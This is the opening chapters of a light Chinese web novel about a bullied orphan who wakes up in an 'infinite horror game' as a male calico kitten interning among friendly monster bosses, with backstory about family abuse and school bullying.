《无限怪物屋里的三花猫》 1、第一章 【正在进行全身扫描，请保持正对镜头，不要移动——】 …… 【全身扫描完毕，系统数据读取中……】 …… 【系统数据核实完毕，员工资料确认：】 【姓名：花黎】 【种族：三花猫】 【性别：雄性】 【综合战斗水平：f】 【级别：幼稚园级】 【特殊能力：未知】 【职位：怪物屋实习生】 【怪物描述：一只可爱的三花猫，乍看没有什么特殊之处，实际或许也没有，最特殊的地方在于作为一只雄性三花，十分稀有，也许会被其他猫错当美女猫而吻上去，要保护好自己。】 …… 【身份核实通过，请通行——】 幽秘的走廊深处，一扇通体血红色、雕刻了无数幽冥恶鬼、巨魔海怪的铜制双开大门发出“吱呀吱呀”的声音，缓缓打开。 但是门前没有人。 视线下移下移再下移，在大门的最底端，一只小小的三花猫撅起屁股，伸了个大大的懒腰，然后昂首阔步地走了进去。 嘀——上班卡！ 今天也要努力工作鸭喵！^w^ . 这里是无限怪物屋，也是众多副本boss级怪物平常不上班时候休息办公的根据地。 花黎来到这里已经第三天了，他适应良好。 虽然他只是一个小小的实习生，虽然他很弱小，虽然他到现在为止还从来没有出过任务……但是他的同事们都非常友善！ “呜呜呜呜呜呜呜呜……&*……）&@#……%（&……）我要……杀了他们……杀了他们——” 幽暗的走廊尽头传来阴森的鬼哭声，伴随着阵阵阴风穿堂而过，小小三花猫的耳朵动了动，耳朵上的聪明毛在风中晃了两下。 花黎翘起尾巴，以小猫跑酷的速度向走廊尽头冲去。 “喵喵咪？”0.0怎么啦，淑贞姐姐？ 只见走廊尽头如同幽冥鬼窟一般的洞穴……啊不房间内，放了好几台老式大屁股电脑，其中一台电脑后蹲了一个身着血红嫁衣的女子，她抱着膝盖蜷缩成一团，周身正散发出如有实质的怨气。 “小梨花…………完了，一切都完了…………小梨花，我只有你了……” 女子抬头，小尖脸上两个偌大的窟窿流出血泪，对着圆滚滚的小猫发出嘶哑可怖的声音。 “喵呜呜~”慢慢说~ “他抛弃我了…………我又被抛弃了……我要让他…………下地狱…………” 花黎探出小猫脑袋，看了一眼红衣女子跟前的电脑屏幕——蓝屏了。 他便叼起屏幕后的插头，灵活地往旁边一跳，将插头怼进墙角的电源插座里，再回头看过去，果然，屏幕旁边笨重主机的电源灯亮了，花黎抬起小猫爪，抻开，露出尖尖的小指甲，在电源按钮上轻轻按了一下。 “当挡挡当挡——”windows98的开机提示音，屏幕上出现了蓝天白云绿草坪。 在来到怪物屋之前花黎从来都没见过windows98，毕竟那已经是快两个世纪之前的电脑系统了。但现在习惯以后，听到这声音倒也觉得很亲切。 “喵咪嗷嗷~~”淑贞姐姐，现在已经好啦。他没有抛弃你，只是电脑没有插电~~ 小猫爪爪的小肉球在鼠标上轻轻一拍，老旧的古董屏幕滋啦滋啦一阵，接通了视频通话的界面，视频对面闪过一个漆黑的鬼影，两只透明鬼手攀在了屏幕边沿。 第一次见到淑贞姐姐男朋友的时候，花黎还以为他会从电脑屏幕里爬出来。 还好，他没有。 他是一只有分寸的鬼呢。 看到视频中出现了男朋友的鬼影，红衣女鬼立马收起了双眼中流出的血泪，搂着小三花猫又亲又抱了一会儿，唰唰唰在商城下单了一百个现在销量最好的猫罐头，然后就回到电脑屏幕前，跟男友甜蜜视频了。 仿佛刚才要杀了对方的人不是她一般。 花黎舔了舔爪子，对于自己完美完成了今天的第一件工作感到满意。 他最后看了一眼红衣女子，面前闪过了一个半透明的系统面板。 【姓名：聂淑贞】 【种族：鬼族】 【性别：女性】 【综合战斗水平：sss】 【级别：天灾级】 【特殊能力：红衣女鬼的诅咒】 【职位：怪物屋资深员工，副本boss】 【怪物描述：红衣女鬼聂淑贞，江湖上永远流传着她的传说。她的生命停留在身着鸳鸯刺绣红嫁衣准备新婚的那一天，彼时的聂淑贞不知，前方等待着她的是猩红色的陷阱。那一夜之后，木杨村的明月变成血月，再次照亮的又会是谁家新娘？】 忙完聂淑贞的电脑后，外面大门被“哐哐哐”地砸响，花黎钻出了红衣女鬼的房间，顺着走廊一路小猫飞跃，来到大门前，扫脸开门。 “您好！巨魔快递为您服务！您在系统商城订购的罗非鱼到货了！请问有人在家吗？请签收！” “喵嗷嗷嗷！”放门口谢谢！ “好的，谢谢惠顾！” “咚”的一声，显然是门外的快递员将包裹放在了门口，摩托车引擎声响起，又匆匆远去，花黎将大门打开一道缝，把快递用脑袋顶进了怪物屋。 亮出银亮尖锐的小猫爪，三下五除二划开快递箱，里面的罗非鱼正在冰块上疯狂蹦跶。 这鱼也就有地球上的罗非鱼的五倍那么大吧。花黎想。 等把罗非鱼一条一条叼出来，箱子里的冰块也化得差不多了。 花黎盯着纸箱沉默了一会儿……终究是没抵抗过本能。 他试探性地伸出雪白的小爪子，一跃变成一个长条拱形，没骨头一样流进了箱子里，然后，四只小猫爪并拢，蹲好。 喵……爽啊。 猫就是要蹲在箱子里，日子才有盼头啊。 快乐地蹲了一会儿箱子后，花黎假装无事发生地跳出来，重新叼起罗非鱼，一条一条运进厨房，将烤箱预热，面粉打好，黄油融化…… 小猫咪用自己小小的、雪白的爪子和嘴巴，吭哧吭哧努力地工作着。 一小时后，烤箱“叮”的一声，料理出炉，花黎对着那盘仰望星空派（超大罗非鱼版）点了点头，用脑袋顶着盘子，哧溜跑上了走廊。 顺着黑暗的走廊又走了许久，来到另一个房间门口，花黎伸爪推开门，扑面而来一股腥咸潮湿的海水气息。 这间房间正中央放着一个巨大的花岗岩大水缸，足足有五六米高，小小的三花猫站在水缸脚下，叫道： “喵呜呜呜呜——” 咕嘟咕嘟咕嘟咕嘟咕嘟…… 什么东西吐泡泡的声音。 接下来便是“哗啦”一声破水之声，下一秒，巨大的、银色的鱼尾顺着大水缸的边缘滑出来，将花黎脑袋上的仰望星空派卷进了缸里。 花黎每次看见这条鱼尾都会忍不住盯着看很久，因为看上去滑溜溜的，口感……啊不手感很好的样子。 还有一种淡淡的海鲜……啊不海腥味。 系统面板再次跳了出来。 【姓名：塞壬】 【种族：人鱼（克苏鲁版）】 【性别：雄性】 【综合战斗水平：？】 【级别：？】 【特殊能力：？】 【职位：怪物屋高级员工，副本boss】 【怪物描述：传说渔民出海的时候都会备好隔音效果最优质的耳塞，因为他们不知道，自己是否会成为那万中无一的幸运儿，遭遇传说中的人鱼。人们被歌声引诱，被美色蛊惑，一步一步走入那怪物为他们量身定做的深渊，然后被撕成肉块，拆吃入腹。若渔民们变作鬼魂，去询问他们是否后悔，也许他们会作否定回答。因为……被人鱼杀死的过程，可真是该死的甜美。】 花黎顶着鱼缸发了会儿呆，听着缸里狼吞虎咽之后再次咕嘟咕嘟咕嘟的声音。这三天的工作熟悉下来后，他已经能精准地分辨塞壬的心情状态。 这是一条内向又害羞的鱼，所有的心情都通过吐泡泡反馈。 现在这种咕嘟咕嘟声，证明他心情很不错。 他喜欢我给他准备的午餐呢咪~^w^ 喂完鱼以后，花黎回到走廊上，没走几步，雪白的猫爪就变红了。 喵？ 花黎抬起爪爪，看了眼自己的爪底心，笔尖凑过去，仔细嗅嗅闻闻——是血迹。 走廊的地板是棕黑色的，有血迹的时候不明显，总是会这样让路过的员工一不小心踩脏了脚。 想必是有同事去出任务带回来的血水，花黎赶紧叼了小抹布过来擦地。小小一只三花猫站在抹布上，左摇右摆，在地上滑来滑去，就像一只三花猫形状的扫地机器人。 直到一个粉红色的毛线球滚到了他的面前。 喵啊咪嗷嗷！☆v☆！ 小猫咪的捕猎本能迅速被激起，花黎看着那圆滚滚不停滚动的毛线球，前肢匍匐在地，屁股撅起——然后一个飞扑，抓住了小球。 喵嗷嗷嗷嗷嗷！ 我啃啃啃啃啃啃啃…… 花黎叼着毛线球舔了舔爪子。 这种成就感，简直就像从前寒暑假出去做兼职发传单，在忙碌了一天后挤着沙丁鱼罐头般的晚高峰公交车回家，听到耳机里传来【叮！支付宝到账150元】的声音时一样。 做小猫真好啊（瘫）。 正沉浸于捕猎和嬉戏的满足中时，花黎被一双骨节分明的大手抱了起来。 ——字面意义上的“骨节分明”。 因为那两只手，只有骨头，没有皮肉。 那是两只骷髅手。 磁性的男声在他头顶响起，语气满含慈爱和宠溺。 “小梨花今天也在努力工作啊，但是不用那么努力的，小猫咪的天职就是吃罐罐，玩球球，跑酷，挠沙发才对。整个世界都是我们小梨花的猫爬架。” 花黎抱着毛线球“喵”了一声，他想说“可我不是真的小猫鸭，我是人类，人类就要工作。” 更何况，我还是最不讨人喜欢的那种人类。花黎局促地啃着毛线球想。 他的人生太艰难了，所以好不容易能重新开始，他想要再努力一点。 他也想要像那些出生就在罗马的孩子一样被人喜欢呀。 2、第二章 没错，花黎其实不是一只真正的小猫咪，他曾经是一个人类。 花黎是个孤儿，四岁时他的父母就因意外去世了，他对自己的双亲已经没有什么印象了，只能靠收养他的姨妈一家这些年的只言片语，勉强拼凑出一副图景。 姨妈说，他妈妈是个婊子捞女，仗着长得还过得去，成天挑挑拣拣，就想着嫁入豪门。 他就知道了，他妈妈很漂亮，大概是她的姐妹中最漂亮的一个，而且有很多很多的追求者。 姨夫说，他爸爸是个烂人，天天用鼻子看人，以为自己开个劳斯莱斯有多了不起，天天开豪车载着老婆到处跑，显眼包一个。呵呵，结果呢，还不是个短命鬼。 他就知道了，他爸爸很有钱，至少跟他姨夫完全不是一个阶级，而且他的爸爸很爱很爱妈妈。 小时候的表哥说，花黎一出生就一副短命相，早产儿，生下来还不到五斤，没个猫儿大；不像他，又健康又可爱，生下来足有九斤二两。偏偏这些大人偏心得要死，从小就都围着花黎转，就想讨好花黎爸妈，不把他放在眼里。现在呢？呵呵，人都嘎了，拍那么多马屁，屁用嘞！ 于是花黎知道了，他家是个幸福又富裕的家庭，亲戚朋友们都争相献殷勤。 可是在他的爸爸妈妈去世后，他先是因为继承了庞大遗产被亲戚争抢，在他的抚养权被姨妈姨夫拿走后，那些曾经宠爱他、夸奖他的叔叔阿姨就都消失了，再提到他时，就只剩下了冷嘲热讽。 “我就说他们家那么高调不会有好下场吧，再有钱有什么用，以后小孩被别人打，遗产也是别人的，笑死。” “那小孩生下来就呛羊水，果然就是个小瘟神，把爹妈克死了！” “早看他们家不爽了，有钱了不起？呵呵呵，钱是多，没命花啦！” 花黎就这样在众人的嘲讽中长到了十八岁，作为孤儿，在学校他也是不良少年们的重点关（霸）注（凌）对象。 因此他在这十多年的摸爬滚打中，总结出了一套属于他的生存法则： tip1：没有爸爸妈妈的保护，亲戚是会对他互相踢皮球的，他要学会讨好； tip2：在学校没控住分不小心考太好时，一回家一定要先认错，要学会躲表哥的拳头，无视大人的嘲讽； tip3：来到一个新班级，第一件事是找好大腿，抱紧，这样才不会被大家欺负。 …… 不过人毕竟不是机器，不可能永远不行差踏错。 就在一个月前，他就因为在学校的月考中没控好分，不小心考出了全年级前30的好成绩，被同年级的表哥带着一帮兄弟狠狠揍了一顿，下颌骨剧痛，估计是骨裂了。 等表哥那群人走了以后，花黎捂着受伤的下颌骨，从学校门口的臭水沟里捞出被扔掉的书包，认真盘算了一番自己身上的那点钱够不够去医院治疗。 他没有零花钱，他的钱都是寒暑假时起早贪黑打零工挣来的，平时的班费书本费文具费餐费，全都得从这笔钱里拿。 花黎抖了抖被水泡得烂唧唧的纸笔，发现只剩三十块钱了。 三十块钱，应该不够去医院治疗骨裂吧…… 当时的花黎沉默地拖着书包，在水沟旁边的草地上坐下发呆，捂着疼痛的下颌骨，思考应该怎么办。 就是在这个时候，他的老人机震动了几下，收到了一条短信。 花黎以为又是话费欠费提醒，拿出来扫了一眼，看清内容后愣了。 【尊敬的玩家您好，无限恐怖乐园项目即日起正式启动，您将会在30天后进入游戏，预祝您游戏愉快。】 无限……恐怖乐园……？ 花黎猜测这大约是什么人的恶作剧，他的老人机内存有限，就随手删了。 当晚，花黎躺在姨妈家狭窄储物间里的折叠床上辗转反侧，下颌疼得他直冒冷汗，他寻思着能不能问姨妈姨夫要点钱，或者求他们带自己去看医生。 他打开手机电筒，想去洗手间看一眼脸是不是肿起来了。 一打开手机，再次看到了一封未读短信。 打开短信，一模一样的内容： 【尊敬的玩家您好，无限恐怖乐园项目即日起正式启动，您将会在30天后进入游戏，预祝您游戏愉快。】 花黎看着短信恍惚了，直到第二天，他才发现，原来不止他一个人收到了这样的短信，而是大家都收到了。 姨妈姨夫认为那是诈骗短信，早餐时在桌上骂骂咧咧，吐槽现在的诈骗手段之种类繁多。 表哥倒是对这条神秘的短信相当重视，在警告花黎不许把被打伤的事捅出去后，他就搬了一摞无限流小说到床头，自那以后开始挑灯夜读，用他的话说，就是他要学会所有恐怖游戏的规则，熟悉怪物机制，掌握通关技巧，为三十天后成为无限游戏大男主做好铺垫。 至于学校里的同学，有人兴奋，有人恐慌，有人中二……这封短信让青少年们都沸腾了。 花黎并未把短信内容放在心上。 他仍是该上学上学，该回家回家，该偷偷打工就偷偷打工，该努力躲避欺负就努力躲避。 比起那封短信来，倒是另一件事让花黎更在意。 他的“大哥”已经有快半个月没来学校了。 花黎的大哥叫宋斐，跟花黎同班，人狠话不多，坐在最后一排，来学校从来只睡觉不上课，抬眼看人的时候锋锐无比，就算是教导主任都经常被吓得两股战战，不敢招惹。 宋斐是花黎从高一入学第一天时，就精挑细选为自己找的金大腿。 当初他花了整整一个月的时间，给宋斐端茶送水买饭抄作业（后来发现宋斐不屑抄，他都不交的），终于成功成为了宋斐的腿部挂件。 只要宋斐在，根本没人敢靠近花黎五米以内，别说欺负他了。 正因为大哥宋斐的存在，花黎的高中两年过得前所未有地舒坦。 也因为宋斐忽然开始无故不来上学，学校里都在传这个不良少年终于辍学回去当精神小伙了，花黎的表哥才重新有了贼胆，纠集了一群人来揍他的。 花黎去问过班主任，甚至年级主任，他们都表示不清楚宋斐消失的原因。他又给宋斐发了很多条信息，打了很多个电话，通通都石沉大海，电话不接短信不回，宋斐仿佛人间蒸发了。 花黎很担心他的大哥。 在下巴的疼痛和对宋斐的强烈担忧下，花黎无知无觉地度过了一个月，完全忘记了那条奇怪的短信的事，直到三天前。 三天前，他一睁眼，姨妈家杂乱又狭窄的储藏室不见了，学校也不见了，姨妈姨夫表哥和同学通通都不见了。 他发现自己置身于这个黑暗幽秘又诡异的地方，这还不算，一低头，没看到自己的脚，却看到四只雪白的猫爪。 他变成猫了。 就算是这样，花黎都还晕晕乎乎没反应过来到底发生了什么状况。 恰好看见旁边有个人，他就伸出圆手拍了拍旁边的人，想问对方这到底是怎么回事。 出口却是一声“喵呜~” 那个“人”回过头来，露出一张一半是人脸，一半是骨架的面孔。 那具极其具有恐怖效果的骷髅人看着他，问：“你就是我们这里新来的实习生？” 花黎：惊恐.jpg 后来花黎知道了，这里就是那条短信说的无限恐怖游戏，而那具他最开始遇到的骷髅，名叫阿尔伯特，是怪物屋的“大家长”，特地去迎新的。 他看到了阿尔伯特的信息面板： 【姓名：阿尔伯特】 【种族：骷髅骑士】 【性别：男性】 【综合战斗水平：ssss】 【级别：天灾级】 【特殊能力：亡灵暴动】 【职位：怪物屋组长】 【怪物描述：世人总是惧怕死亡，但亦有人将死亡视作归处，骷髅骑士阿尔伯特就是这样的人。他在一场浩大的战役中与他的战马共同战死，死前才知，刺向他的是他视为一生挚友之人的利刃。阿尔伯特的尸首在风中腐朽，化作半人半骷髅的怪物，立于最终之战所在的山巅之上。他在等待，等待他的「挚友」回来的那一天。】 …… 回忆到此结束。 花黎抱着粉色的毛线球，趴在阿尔伯特怀里，无聊地啃着骷髅骑士的肋骨磨牙，心想：唔，阿尔伯特真的是像系统里描述的那么可怕的怪物吗？ 他的脑袋顶上，骷髅骑士的碎碎念一分钟都没有停歇过。 “都说了小孩子不可以每天干这么多事，会长不高。我的小pony就长得很高很大，因为它从小我就给它吃最嫩最有营养的马草。 “小梨花，我应该跟你说过很多次，我们怪物屋实习生的工作范围真的不包括喂鱼……塞壬怎么样你管他去死嘛，而且他也饿不死的，说实话我早就想批评他了，他真的太宅了，别人都出去上班完成kpi他不去，他要真的快饿死了可能就会去了，毕竟进了副本可以随机抓几个人类当晚餐。 “还有淑贞，我们怪物屋一个月四分之三的电费都是拜她所赐，要不是她天天跟男朋友煲三个小时视频电话粥实在太浪费电了，我也犯不着拔她的电脑电源，你下次不要再给她插回去了好吗——” 花黎：@.@ 阿尔伯特先生，真的不会累的吗？ 3、第三章 花黎就这么在怪物屋平静地度过了一段时间，这段时间称得上是他人生中最快乐的日子。 不用看姨妈姨夫和表哥的脸色，不用小心翼翼担心在学校被霸凌。 但花黎也知道，现在整个人类世界都已经被无限恐怖游戏席卷了，虽然他自己现在很安全，可其他绝大多数人类都变成了无限游戏内的玩家，想必很辛苦。 “玩家需要不停通关副本，赚取积分，才能保证至少不被游戏淘汰——淘汰就是出局，出局就意味着死亡。”阿尔伯特这么告诉他。 “喵呜……” 花黎倒没有什么对全体人类命运的同情心，他唯一在乎的就是他的大哥宋斐。 也不知道宋斐现在在哪里，在不在无限游戏的世界中，是不是变成玩家了、正不得不马不停蹄地打副本，努力赚积分，以求不被淘汰死亡…… 花黎很担心很担心他的大哥。 当然，他也是很相信大哥的战斗力的。 不管竞争者是什么人，他都相信宋斐一定可以成功通关，绝对不会输给其他人……也一定不会死在这个恐怖游戏里。 “唔，你有想要联络的人吗？”阿尔伯特发现花黎忧心忡忡，主动问道。 花黎赶忙回答：“喵嗷嗷嗷！”有，有！我想联络我大哥宋斐，我想知道他是不是安全。 “这样啊。”阿尔伯特摸了摸自己的白骨下巴，然后举起一根森然的指骨，“在这个世界里，想要联络朋友也是有办法的哦。” “喵咪咪？”什么？什么办法？ 阿尔伯特裂开他一半人皮一半骷髅的大嘴，露出了一个令人毛骨悚然的笑，但花黎一点也不害怕，他从这张脸上看出了和蔼。 只见和蔼的阿尔伯特抬起手，在空中划拉了两下，一块类似平常系统信息面板的半透明屏幕就出现在了半空中。 只是不同于之前满屏的文字信息，这次的系统界面上全是各种图标，每个图标底下有一排小字，以及一个应该是定价金额的数字。 花黎抬头看向面板最顶端，写着【系统商城】四个字。 喵0.0 粗略扫了一眼，这间【系统商城】里卖的东西相当繁杂。 有治疗药剂、提升各项能力的增幅药剂、对付怪物的陷阱类道具；还有易容用的、变性用的、偷盗用的……能想到的想不到的东西几乎都有。 花黎从小到大唯一玩过的游戏只有老人机里的贪吃蛇，这些道具看得他眼花缭乱的。 阿尔伯特介绍道：“喏，这个就是无限游戏里售卖各种道具的系统商城，商城分为玩家商城和npc商城，根据大家的不同需要售卖不同的道具，但也有一部分道具是玩家和npc共享的，比如你想要的这两个：传音喇叭，还有自动追踪靶。 “传音喇叭比较便宜，指定了你想联络的人后就能用它给对方传消息，不论对方在游戏大厅还是在副本内； “自动追踪靶就很贵了，但它可以把你直接传送到你要找的人身边，就算是前男友也不能甩掉你。” “喵嗷！”方便！ ……等等。 花黎从阿尔伯特怀里探出了小脑袋，疑惑道：“喵喵喵咪咪。”阿尔伯特，为什么是“前男友”呢，我不是基佬哇。 “？”阿尔伯特顿了两秒，似乎反应了一下，然后比花黎更疑惑地，“什么基佬，小梨花你不是小姑娘么？” “喵嗷咪咪！”我是雄性三花猫qwq 阿尔伯特显然陷入了震撼，花黎无语问苍天。果然系统的警示都是对的，雄性三花猫太稀有了。不止是猫，就连他的同事都弄错了他的性别。 “咳咳咳……” 阿尔伯特战略性咳嗽，所幸他已经是一个成熟的骷髅了，很快就揭过了这个尴尬的小插曲，“总之，你只要购买这两种道具里的一种，应该就能找到你要找的人了。” 花黎重新趴回了阿尔伯特的白骨手臂上，看了一眼那两个道具底下的价格。 传音喇叭的价格是2000游戏币。 自动追踪靶是…………20万游戏币。 一百倍的差价！ 花黎焦虑地忍不住又嘎嘣嘎嘣啃起了阿尔伯特的下颌骨，同时唤出自己的背包面板。 他的背包内空空如也，只有五个刚进入游戏时系统送的低级药剂，右下显示的游戏币数量是：0。 身无分文啊喵。 阿尔伯特大约是看出了花黎的窘迫，主动道：“我们这里每个月15号是发薪日，实习生也是有工资的，就是……呃……比较微薄——但这真的不是我能决定的，我也只是个组长而已，薪酬标准是主系统统一制定的。” “喵……喵咪……”有……有多微薄…… “一个月20个币==” “……” 2000/20=100，也就是说他要在怪物屋干一百个月，合计8.3333333年，才能买得起一个传音喇叭！=口= 阿尔伯特在石化了的小猫脑袋上摸了一把：“唔，基础工资是有点低啦，因为我们这些npc的收入主要还是靠提成，只要kpi完成得好，工资其实可以很可观的哦。 “比如淑贞，她就是咱们这儿的劳模，她上个月足足赚了50万呢。” “喵咪！”五十万！！！ 花黎被这个数字震慑到了——如果一个月就能赚到五十万，那岂不是自动追踪靶都能一个拿来用一个拿来扔飞镖嘛。好奢侈鸭。 “喵嗷咪咪？”怎么才能完成kpi呢？ “很简单，下副本就行。” 下副本？ 小猫圆溜溜的琥珀色眼睛眨了两下。 “对，下副本出任务，阻拦玩家通关，杀死玩家，协助其他npc……总之只要系统判断你的行为是有效行为，都会给你相应的积分值，积分值可以兑换游戏币。除此以外，我们怪物屋的员工每个人每个月都有自己的积分kpi，完成kpi就又能获得一笔奖金。你如果需要赚钱的话，可以去下副本试试水。” 阿尔伯特说到这里认真想了想，然后把花黎抱起来举高高，晃荡了两下，压低声音，做贼一般道，“放心，虽然规则不是我制定的，但作为组长，我有操作空间，小梨花，我到时候想办法给你多兑点钱。” …… 就这样，为了赚游戏币，更为了能尽快找到他的大哥宋斐，花黎决定……下副本赚钱去！ 当晚，阿尔伯特就向怪物屋的全体成员公布了这项决定。 阿尔伯特：“小梨花还是个宝宝呢，又是实习生第一次执行任务，我不放心让他一个人去，你们谁近期准备下副本的，不然带带他？如果你们都不去的话，那就我亲自带小梨花去。” “喵……”会不会麻烦到大家…… 红衣女鬼聂淑贞脸上流下血泪，紧紧抱着花黎，呜咽道：“不可以……不可以…………小猫咪不可以做这样危险的事情……人类……尤其是男人…………太坏了……他们太坏了…………你会被坏男人骗……” 花黎温柔地用小爪子拍了拍聂淑贞的胳膊：“咪咪嗷~”淑贞姐姐，我会小心的。 红衣女鬼纠结了一会儿，抱着花黎跟阿尔伯特要求道：“那他如果……非要去…………就让我来带小梨花……我会杀光……所有…………想要伤害小梨花的坏男人……让他们死无葬身之地，永远陷入幽冥地狱之中，无法脱身——” 阿尔伯特无奈道：“淑贞，你这个月杀人杀得太勤快，已经被纳入防沉迷系统了，这活你干不了。” 眼见着红衣女鬼怒从心头起恶向胆边生，正要拍案而起，阿尔伯特赶紧道：“这不是还有我、塞壬还有阿努比斯嘛，搞得好像谁还不是根顶梁柱一样！” 淑贞露出了一个不甚信任的神情。 阿尔伯特：“……” 花黎静静趴在淑贞怀里听着——他知道怪物屋里除了他外还有四名员工，不过他一直没有见过那位“阿努比斯”，据阿尔伯特说，阿努比斯绝大部分时候都在棺材里睡觉，叫也叫不醒。 阿尔伯特打开通讯面板，试图询问没来与会的阿努比斯，果然，他又在睡觉，只有忙音。 “那就只剩下我，还有塞壬这两个选择了。” 阿尔伯特沧桑地叹了口气，“马上就是月底了，我要待在办公室写月度总结，给主系统做汇报。倒是塞壬……他这个月好像一共只出过一次任务，kpi都还没完成，不然小梨花的第一次，就交给塞壬吧？” 淑贞：“我反对！！！” “反对无效。”阿尔伯特难得摆出了资本家的无情面孔，“现在我们别无选择，好啦淑贞，塞壬只是性格自闭了点儿，他也不差的，你要相信他。” 红衣女鬼显然不怎么相信，她的一双利爪颤巍巍从红嫁衣里掏出了一把沾血的尖刀，准备跟阿尔伯特拼个你死我活。 “喵嗷嗷嗷嗷嗷=口=”你们别打了啦啊啊啊啊啊啊！ 花黎看看这个，看看那个，颤巍巍地抬起小猫爪想劝架，耳朵都瘪成了飞机耳，尾巴也垂了下去。 两位怪物同事闹做一团的时候，小三花猫的鼻子动了动。 他好像闻到了一股淡淡的、海水的咸味。 “喵？” 花黎顺着淑贞的红嫁衣裤腿爬下来，四只雪白的猫爪轻盈地落到地上，抬头张望了一番，只见办公室大门下的缝隙里，有水迹正源源不断地流淌进来。 花黎跑了过去，用脑袋顶开门。 办公室外一如既往是黑暗的走廊，但不同往日的是，走廊的地上不知何时积了大约三四厘米高的水，那水乌黑浑浊，同时淡淡的咸味更明显了。 走廊尽头，有什么东西正顺着漆黑的水流向着他们的方向扭动着前进。 是塞壬。 花黎张大了小猫嘴，他从未见塞壬离开过他的大水缸。 人鱼没有腿，只能用巨大滑腻的银色鱼尾在地上磨蹭扭动，以增加阻力，推进身体向前。塞壬的皮肤是灰蓝色的，一头水藻一样灰白蓬乱的头发几乎将脸完全遮盖住，手上的指甲细长带钩，如同铁爪一般一下一下勾在水下的地面上，坚硬的大理石地面也留下了深深的刻痕。 “塞壬，怪物屋的地板属于公共资源，损坏的话要从工资里扣钱赔偿的。” 阿尔伯特不知道什么时候跟淑贞打完了，忽然出现在了花黎的身侧，把小猫吓了一跳。 “啊啊……嘎呜…………” 塞壬的嗓子眼里发出粗粝的嘶吼声，他是怪物屋内除了花黎以外唯一的兽类，不能吐人言。 人鱼的叫声粗嘎可怖，搭配上他潮湿蓬乱的长发和地上的蜿蜒流淌的黑水，像真实的恐怖片场景，但花黎听懂了他说的话，倒不觉得吓人了。 塞壬说：小梨花，交给我……我会，保护好。 这还是花黎来到妖怪屋这么久以来，第一次听到塞壬说话。 . 游戏大厅。 这里是玩家们在下副本的间隙，休息娱乐和社交的地方。 为了满足绝大多数玩家的需求，游戏大厅建设成了一个类似西欧田园小镇的样子。 镇子里从基础的衣食住行，到电影院、按摩城、游乐园、ktv等休闲娱乐场所，再到赌场麻将馆甚至某些成人专供服务，无所不有。 只要你拥有足够的游戏币，就可以在这里享受到所有哪怕是曾经在人类世界也享受不到的梦幻服务。 只是……至少到目前为止，能真的安心享受这些的心大人士还不太多就是了。 “我不要……我不要下副本！！！呜哇哇哇哇我不要——！” 惊恐的哀嚎自游戏大厅的各个街角巷陌传来，将漂亮典雅的小镇笼罩上了一层惊悚色彩。无数人抱着头暗自祈祷，希望千万千万不要抽到随机副本。 如果实在是运气不好，抽到了随机副本，那也绝对绝对绝对不要随机到那些天灾级boss坐镇的sss级难度副本。 因为到目前为止，凡是有天灾级boss坐镇的副本，还没有一人能成功通关过。 小镇各处都有大屏，大屏上会实时直播各个副本的进行情况，也可以自行调出不同副本的直播。 眼见着又一个进了sss级副本的小队全员名字都黑了下去，无数人哀嚎、捶胸顿足。 名字黑了，那就是死了。 又一组玩家挑战失败了…… sss级副本，那根本就不是人能去的地方！只要去了，就必死无疑！！！ 恐慌在人群中蔓延，大家都心有戚戚，暗自祈求下一个倒霉蛋不是自己。 在一众面有菜色的玩家中，一名身着黑色呢绒大衣、戴着长羊绒围巾的高挑男人引起了不少人的注意。 只见他拐进了街角的一间咖啡店，跟npc店员买了一杯咖啡，结账的时候，边上有人惊呼了一声！ 因为收音机上显示了男人的游戏币余额。 49,777,000游戏币…… 所有看到这个金额的人都呆住了。 目前大家唯一知道的获取游戏币的方式只有下副本赚取积分，偶尔有些幸运儿能从副本里搞出点东西出来倒买倒卖，但目前还没有能卖出高价的。 普通b~c级的副本打通一次大约能赚个500~800币左右，这人这么多钱，得是打通了多少副本…… 周围的人不约而同地咽了一口口水。 有聪明的，眼疾手快打开系统面板查看信息，但这位巨富大约用了隐藏详细信息的道具，只能看到几条最基本的信息： 【玩家姓名：宋斐】 【种族：人类】 【性别：男性】 【综合战斗水平：c】 ……才只有c级而已吗。那几个查看了他信息的玩家不由有几分失望。 本来还以为是超级大佬，准备抱大腿呢。c级，跟他说排行榜都高看他了，平平无奇的战斗能力，就算再有钱有什么用？ 人死了可用不上游戏币。 大家便又兴趣缺缺地各忙各的，不再关注此人了。 4、第四章 就在黑衣青年买咖啡的地方隔壁的餐厅内，一个小卡座里坐了三个人。 他们三人每人都只点了一杯柠檬水——没办法，游戏币太难赚了，虽然游戏大厅内吃喝玩乐什么都有，大家却也不舍得花钱，大部分人都会把好不容易赚来的钱用来购买系统商城里的重要道具。 其中一个黄毛捏着柠檬水杯，抬着下巴俯视另外两人：“我的副本cd快到了，明天就得下本，我们都认识这么久了，这次你们俩跟我组队吧。” 他对面坐着的是两个高中生模样的少年，一个瘦弱些，一个个儿高些，都看着很乖巧，彼此互看一眼，眼中都有犹豫和胆怯。 但又都不敢主动开口拒绝。 “我……”瘦弱一点的那个高中生垂着眼睛，“我可以问一下……程凡哥你抽到的是自由模式还是随机模式吗……” 这个游戏的副本抽取机制分为自由和随机两种，自由模式，如字面描述，玩家可以自行选择下哪个副本。大家自然就会选些难度低、奖励丰厚的。 比如最受欢迎的副本【疯狂卡丁车】，玩家只要开着卡丁车绕车道跑三圈就行。 开完三圈后，前三名的玩家获得丰厚奖励，其他人则获得安慰奖，有一种幼稚园发小红花般的皆大欢喜。 但如果不幸抽到了随机模式，那么玩家的命运就掌握在系统手中了，被系统随机到难度很高的副本也是有可能的。 玩家下副本前自由组队，发起组队的人作为队长，小队进入哪个副本根据队长的系统安排而定。 但有一个规则非常让人头疼——自由模式的玩家是不可以成为随机模式玩家的队长的，反之则可以。 所以组队务必要小心谨慎，以免被坑。 程凡叼着烟笑了：“自然是自由模式。” 两个高中生又互看一眼，他们都不是很敢相信程凡。 在进游戏之前，他俩都是海城中学的学生，他们初中时程凡在海城中学附近读技校，经常抓他们这样胆小怕事的学生，欺负讹诈。 等他们升上高中，程凡成了社会青年，对他们的骚扰欺凌不减反增。 没想到现在进了游戏，大家都自身难保了，还要被程凡拿捏。 程凡翘着二郎腿道：“可惜了，就你们两个人，如果花黎那个小娘炮也在就好了。几年没见他了，还怪想他的，呵呵，要是他在，就正好能凑够一队四个人了。” 两个高中生抿住了嘴唇，低着头，不敢吱声。 花黎跟他们是海城中学的初中同学，当时也跟他们一起被程凡欺负讹诈，而且是他们这群人里被欺负的最狠的。 但花黎中考考得好，高中没有继续在海城中学就读，而是去了市重点，自然也就逃脱了以程凡为首的小混混的魔爪。 